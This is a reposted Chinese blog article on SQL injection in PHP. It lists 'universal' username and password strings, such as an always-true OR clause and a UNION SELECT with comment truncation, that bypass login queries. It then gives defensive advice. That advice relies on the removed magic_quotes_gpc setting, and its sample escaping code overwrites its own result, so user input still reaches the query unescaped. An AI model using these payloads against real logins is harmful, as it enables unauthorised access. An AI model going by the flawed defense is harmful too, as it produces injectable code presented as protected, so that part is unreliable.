欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程语言 > php >内容正文

php

php万能注入密码,php下的SQL注入万能用户名和密码

发布时间:2025/3/21 php 40 豆豆
生活随笔 收集整理的这篇文章主要介绍了 php万能注入密码,php下的SQL注入万能用户名和密码 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

1.针对有单引号的情况 :

万能密码 : select * from users where username='xxxx' and password='xxxxxx' or 1='1';

万能用户名 : select * from users where username='xxxx' union select * from users/* and password='xxxxx';

防止第一种万能密码 : 设置 php.ini 中的 magic_quotes_gpc = On ;

2.没有单引号的情况 :

万能密码 : select * from users where username=数字 and password=数字union select * from users;

万能用户名 : select * from users where username= 数字 union select * from users/* and password=数字;

3.搜索SQL注入的情况 :

防止查询SQL的攻击,对关键字进行过滤 :

//当php.ini中magic_quotes_gpc开启时,不要使用addslashes,否则会造成双重转义

$keyword = addslashes($keywords)

$keyword = str_replace("%","\%",$keywords);

$keyword = str_replace("_","\_",$keywords);

$sql= "select * from users where username like '%$keyword%'";

《新程序员》:云原生和全面数字化实践50位技术专家共同创作,文字、视频、音频交互阅读

总结

以上是生活随笔为你收集整理的php万能注入密码,php下的SQL注入万能用户名和密码的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。